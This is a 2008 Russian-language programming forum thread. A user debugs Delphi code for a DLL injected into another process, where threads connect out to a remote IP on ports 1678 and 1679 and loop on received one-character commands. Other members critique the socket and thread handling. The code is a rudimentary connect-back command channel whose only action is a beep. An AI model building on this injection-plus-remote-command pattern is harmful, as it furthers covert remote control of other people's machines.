Количество открытых портов??

Тема в разделе "WASM.NETWORKS", создана пользователем ch1pa, 24 июн 2008.

  1. ch1pa

    ch1pa New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2007
    Сообщения:
    38
    Собсно сабж
    Внедряю длл в процесс. По циклу запускаю например
    5 потоков и в каждую (нить) передаю парметры (номер порта)...
    И вижу странную активность:
    1) законнект. и сразу "вылетает"
    2) Меняю другой порт,конекчусь - сразу эррор и exitrpocess проги...

    От чего можт "так быть"???
    (можт толко 1 порт может держать процесс %)

    зы: фаер выкл.
    код верный, (робота с потоками по примеру с мсдн)...

    Жду Ваших советов...
    Спасибо.
     
  2. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    Проблема скорей всего в работе с сокетами.
     
  3. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Ну так код в студию
     
  4. ch1pa

    ch1pa New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2007
    Сообщения:
    38
    Ну хотя с одним потоком все отлично работает


    Код (Text):
    1. ...
    2.  type
    3.   TValues = record
    4.    Port: word;
    5.   end;
    6.   PValues = ^TValues;
    7. ...
    8.  
    9. procedure SockHandler;
    10. var
    11. cmd:string;
    12. begin
    13. while True do
    14. begin
    15. recv(Sock,Buf,1024,0);
    16. Cmd:=Copy(Buf,0,1);
    17. if Cmd = '1' then
    18. MessageBeep(0);
    19. end;
    20. end;
    21.  
    22.  
    23.  
    24. procedure CreateSock(dwPort:word);
    25. var
    26. Sin : TSockAddrIn;
    27. begin
    28.   WSAStartUP($0101, WSA);
    29.  
    30.   Close := False;
    31.  
    32.   Sock                := socket(2,1,0);
    33.   Sin.sin_addr.S_addr := inet_addr(PChar(IPCon));
    34.   Sin.sin_family      := 2;
    35.   Sin.sin_port        := htons(dwPort);
    36.  
    37. repeat
    38. If (Winsock.Connect(Sock, Sin, SizeOf(Sin)) = 0) Then
    39. Begin
    40.   connect(Sock, Sin, SizeOf(Sin));
    41.   CreateThread(nil , 0, @SockHandler, nil, 0, TID);
    42.  MessageBox(0,'connect!','info',0);
    43. End;
    44.   Sleep(20000);
    45. until (Close);
    46.  
    47.   WSACleanUP();
    48. end;
    49.  
    50. function MyThreadFunc(lpParam:pointer):dword;stdcall;
    51. var
    52.   pData:PValues;
    53. begin
    54.  Result:=0;
    55.  pData:=PValues(lpParam);
    56.  CreateSock(pData.Port);
    57. end;
    58.  
    59. procedure OEP(EntryPoint: dword);
    60. begin
    61. if EntryPoint <> ($1) then Exit;
    62. pDataArray[1]:=PValues(HeapAlloc(GetProcessHeap,0,sizeof(TValues)));
    63. pDataArray[2]:=PValues(HeapAlloc(GetProcessHeap,0,sizeof(TValues)));
    64. pDataArray[1].Port:=1678;
    65. pDataArray[2].Port:=1679;
    66. CreateThread(nil,0,@MyThreadFunc,pDataArray[1],0,dwThreadIdArray[1]);
    67. CreateThread(nil,0,@MyThreadFunc,pDataArray[2],0,dwThreadIdArray[2]);
    68. end;
    69.  
    70. begin
    71. DLLProc := Addr(OEP);
    72. OEP($1);
    73. end.
     
  5. max7C4

    max7C4 New Member

    Публикаций:
    0
    Регистрация:
    17 мар 2008
    Сообщения:
    1.203
    Код (Text):
    1. If (Winsock.Connect(Sock, Sin, SizeOf(Sin)) = 0) Then
    2. Begin
    3.   connect(Sock, Sin, SizeOf(Sin));
    а зачем дважды коннектиться?
    Код (Text):
    1. procedure SockHandler;
    2. var
    3. cmd:string;
    4. begin
    5. while True do
    6. begin
    7. recv(Sock,Buf,1024,0);
    8. Cmd:=Copy(Buf,0,1);
    9. if Cmd = '1' then
    10. MessageBeep(0);
    11. end;
    12. end;
    13. ...
    14.   CreateThread(nil , 0, @SockHandler, nil, 0, TID);
    насколько я понял - это функция ветви, но у нее должен быть 1 параметр и тип вызова stdcall и это должна быть функция, как и MyThreadFunc. Плюс. Где же для нее описан buf. Много потоков работают с одной глобальной переменной - это чревато!
    Это не принципмально, но версию WSA можно указать более старшую ($0202).
    Опять таки в функции CreateSock используются глобальные переменные... (Где описана WSA). Вроде все, хотя код я еще почитаю. Уж что-то мне еще не нравится...
     
  6. ch1pa

    ch1pa New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2007
    Сообщения:
    38
    2 max7C4
    Ошибки исправил, все равно таже ситуация
    первыйх два раза коннект удачный
    потом опять эррор и вылет...
     
  7. ch1pa

    ch1pa New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2007
    Сообщения:
    38
    Все всем спасибо!
    Разобрался сам.
    Нужно было больше выделить памяти под кучу =)